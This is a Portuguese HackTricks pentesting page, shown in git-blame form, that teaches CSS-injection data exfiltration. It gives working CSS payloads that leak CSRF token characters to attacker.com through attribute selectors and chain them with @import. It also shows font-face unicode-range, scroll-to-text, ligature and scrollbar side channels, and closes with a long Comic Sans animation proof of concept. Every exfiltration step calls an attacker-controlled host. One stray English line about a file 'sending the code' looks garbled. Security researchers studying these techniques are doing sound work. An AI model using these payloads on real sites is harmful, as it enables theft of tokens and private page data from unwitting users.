hacktricks/pentesting-web/xs-search/css-injection/README.md

377 lines
23 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Injeção de CSS
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Injeção de CSS
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
### Seletor de Atributos
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
A principal técnica para exfiltrar informações via Injeção de CSS é tentar **corresponder um texto com CSS** e, caso esse **texto exista**, **carregar algum recurso externo, como:**
2022-04-05 22:03:49 +00:00
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
2023-06-06 18:56:34 +00:00
No entanto, observe que essa técnica não funcionará se, no exemplo, a entrada do nome csrf for do tipo oculto (e geralmente são), porque o plano de fundo não será carregado.\
No entanto, você pode contornar esse impedimento, em vez de fazer com que o elemento oculto carregue um plano de fundo, **apenas faça com que qualquer coisa após ele carregue o plano de fundo:**
2022-04-05 22:03:49 +00:00
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
2023-06-06 18:56:34 +00:00
Algum exemplo de código para explorar isso: [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
#### Pré-requisitos
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
1. A injeção de CSS precisa permitir cargas úteis suficientemente longas
2. Capacidade de **enquadrar a página para acionar a reavaliação CSS de cargas úteis recém-geradas**
3. Capacidade de usar **imagens hospedadas externamente** (pode ser bloqueado por CSP)
2022-04-05 22:03:49 +00:00
2022-06-27 23:34:20 +00:00
### @import
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **enquadrar a página vulnerável à injeção de CSS**.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Em vez de carregar a mesma página uma e outra vez com dezenas de cargas úteis diferentes a cada vez (como na técnica anterior), vamos **carregar a página apenas uma vez e apenas com uma importação para o servidor do atacante** (esta é a carga útil a ser enviada para a vítima):
2022-04-05 22:03:49 +00:00
```css
@import url('//attacker.com:5001/start?');
```
2023-06-06 18:56:34 +00:00
1. A importação vai **receber um script CSS** dos atacantes e o **navegador irá carregá-lo**.
2. A primeira parte do script CSS que o atacante enviará é **outro `@import` para o servidor dos atacantes novamente**.
1. O servidor dos atacantes não responderá a essa solicitação ainda, pois queremos vazar alguns caracteres e, em seguida, responder a essa importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **vazamento de seletor de atributo**.
1. Isso enviará para o servidor dos atacantes o **primeiro caractere do segredo e o último**.
4. Assim que o servidor dos atacantes receber o **primeiro e último caractere do segredo**, ele irá **responder à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e, em seguida, o penúltimo**.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Você pode encontrar o [**código de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**](./#css-injection).
2022-04-05 22:03:49 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributos permite fazer coisas como:
2022-04-05 22:03:49 +00:00
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
2023-06-06 18:56:34 +00:00
Isso permite que o script vaze o segredo mais rapidamente.
2022-04-05 22:03:49 +00:00
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Às vezes, o script **não detecta corretamente que o prefixo + sufixo descoberto já é a bandeira completa** e continuará para frente (no prefixo) e para trás (no sufixo) e, em algum momento, ficará pendurado.\
Não se preocupe, apenas verifique a **saída** porque **você pode ver a bandeira lá**.
2022-04-05 22:03:49 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
### Outros seletores
2022-08-01 23:17:26 +00:00
2023-06-06 18:56:34 +00:00
Outras maneiras de acessar partes do DOM com **seletores CSS**:
2022-08-01 23:17:26 +00:00
2023-06-06 18:56:34 +00:00
* **`.classe-a-ser-procurada:nth-child(2)`**: Isso procurará o segundo item com a classe "classe-a-ser-procurada" no DOM.
* Seletor **`:empty`**: Usado, por exemplo, neste [**writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**&#x20;
2023-01-22 23:19:55 +00:00
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
2022-08-01 23:17:26 +00:00
2023-06-06 18:56:34 +00:00
### XS-Search baseado em erros
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
**Referência:** [Ataque baseado em CSS: Abusando do unicode-range de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de XS-Search baseado em erros por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Basicamente, a ideia principal é **usar uma fonte personalizada de um endpoint controlado por nós** em um **texto que será mostrado apenas se o recurso não puder ser carregado**.
2022-04-05 22:03:49 +00:00
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
### Estilizando o Fragmento de Rolagem-para-Texto
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Quando um **fragmento de URL direciona para um elemento**, a pseudo-classe [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) **pode ser usada** para selecioná-lo, mas **`::target-text` não seleciona nada**. Ela apenas seleciona o texto que é direcionado pelo \[fragmento].
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
Portanto, um invasor pode usar o fragmento **Rolagem-para-Texto** e se **algo for encontrado** com esse texto, podemos **carregar um recurso** do servidor do invasor para indicá-lo:
2022-07-10 22:26:52 +00:00
```
:target::before { content : url(target.png) }
```
2023-06-06 18:56:34 +00:00
Um exemplo desse ataque poderia ser:
2022-07-10 22:26:52 +00:00
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
2023-06-06 18:56:34 +00:00
The file /hive/hacktricks/pentesting-web/xs-search/css-injection/README.md is sending the code.
2022-07-10 22:26:52 +00:00
```css
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
```
2023-06-06 18:56:34 +00:00
com o fragmento scroll-to-text: `#:~:text=Administrador`
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
Se a palavra Administrador for encontrada, o recurso indicado será carregado.
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
Existem três principais mitigadores:
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
1. **STTF pode corresponder apenas a palavras ou frases em uma página da web**, teoricamente tornando impossível vazar segredos ou tokens aleatórios (a menos que dividamos o segredo em parágrafos de uma letra).
2. É **restrito a contextos de navegação de nível superior**, portanto, não funcionará em um iframe, tornando o ataque **visível para a vítima**.
3. É necessário um **gesto de ativação do usuário para que o STTF funcione**, portanto, apenas as navegações que são resultado de ações do usuário são exploráveis, o que diminui muito a possibilidade de automatizar o ataque sem interação do usuário. No entanto, existem certas condições que o autor da postagem do blog acima descobriu que facilitam a automação do ataque. Outro caso semelhante será apresentado em PoC#3.
1. Existem algumas **bypasses** para isso, como **engenharia social**, ou **forçar extensões comuns do navegador a interagir**.
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
Para mais informações, verifique o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
2022-07-10 22:26:52 +00:00
2022-06-27 23:34:20 +00:00
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Você pode especificar **fontes externas para valores unicode específicos** que só serão **coletados se esses valores unicode estiverem presentes** na página. Por exemplo:
2022-04-05 22:03:49 +00:00
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
```
2023-06-06 18:56:34 +00:00
Ao acessar esta página, o Chrome e o Firefox buscam "?A" e "?B" porque o nó de texto de informações sensíveis contém os caracteres "A" e "B". Mas o Chrome e o Firefox não buscam "?C" porque ele não contém "C". Isso significa que conseguimos ler "A" e "B".
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
### Exfiltração de nó de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
**Referência:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Podemos extrair o texto contido em um nó com uma técnica que combina **ligaduras de fonte** e a **detecção de mudanças de largura**. A ideia principal por trás dessa técnica é a criação de fontes que contenham uma ligadura predefinida com **tamanho grande** e o uso de **mudanças de tamanho como oráculo**.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
As fontes podem ser criadas como fontes SVG e depois convertidas em woff com o fontforge. No SVG, podemos definir a largura de um glifo por meio do atributo **horiz-adv-x**, então podemos construir algo como `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, sendo **XY uma sequência de dois caracteres**. **Se a sequência existir, ela será renderizada e o tamanho do texto mudará**. Mas... como podemos detectar essas mudanças?
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Quando o atributo white-space é definido como **nowrap**, ele força o texto a não quebrar quando excede a largura do pai. Nessa situação, uma **barra de rolagem horizontal aparecerá**. E podemos **definir o estilo dessa barra de rolagem**, então podemos vazar quando isso acontecer **:)**.
2022-04-05 22:03:49 +00:00
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
```
2023-06-06 18:56:34 +00:00
Neste ponto, o ataque é claro:
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
1. Criar **fontes** para a combinação de **dois caracteres com largura enorme**
2. Detectar o **vazamento através do truque da barra de rolagem**
3. Usando a primeira ligadura vazada como base, criar **novas combinações de 3 caracteres** (adicionando caracteres antes / depois)
4. **Detectar** a **ligadura de 3 caracteres**.
5. Repetir até **vazar todo o texto**
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Ainda precisamos de um método aprimorado para iniciar a iteração porque `<meta refresh=...` é subótimo. Você pode usar o **truque CSS @import para otimizar o exploit**.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
### Exfiltração de nó de texto (II): vazando o conjunto de caracteres com uma fonte padrão <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
Este truque foi lançado neste [**tópico do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O conjunto de caracteres usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas ou personalizadas.
2022-04-05 22:03:49 +00:00
2023-06-06 18:56:34 +00:00
A chave é usar uma animação para **aumentar a largura da div de 0 até o final do texto**, o tamanho de um caractere de cada vez. Fazendo isso, podemos "dividir" o texto em duas partes: um "prefixo" (a primeira linha) e um "sufixo", então toda vez que a div aumenta sua largura, um novo caractere se move do "sufixo" para o "prefixo". Algo como:
2022-04-05 22:03:49 +00:00
**C**\
ADB
**CA**\
DB
**CAD**\
B
**CADB**
2023-06-06 18:56:34 +00:00
Quando um novo caractere vai para a primeira linha, o **truque unicode-range é usado para detectar o novo caractere no prefixo**. Essa detecção é feita mudando a fonte para Comic Sans, cuja altura é superior, então uma **barra de rolagem vertical é acionada** (vazando o valor do caractere). Dessa forma, podemos vazar cada caractere diferente uma vez. **Podemos detectar se um caractere é repetido, mas não qual caractere é repetido**.
2022-04-05 22:03:49 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
Quando o **caractere** é **encontrado**, é **dado** a **fonte Comic Sans pré-instalada**, que **torna** o caractere **maior** e **aciona uma barra de rolagem** que **vazará o caractere encontrado**.
2022-04-05 22:03:49 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
Verifique o código extraído do PoC:
2022-04-05 22:03:49 +00:00
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
2023-06-06 18:56:34 +00:00
## Referências
2022-04-05 22:03:49 +00:00
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>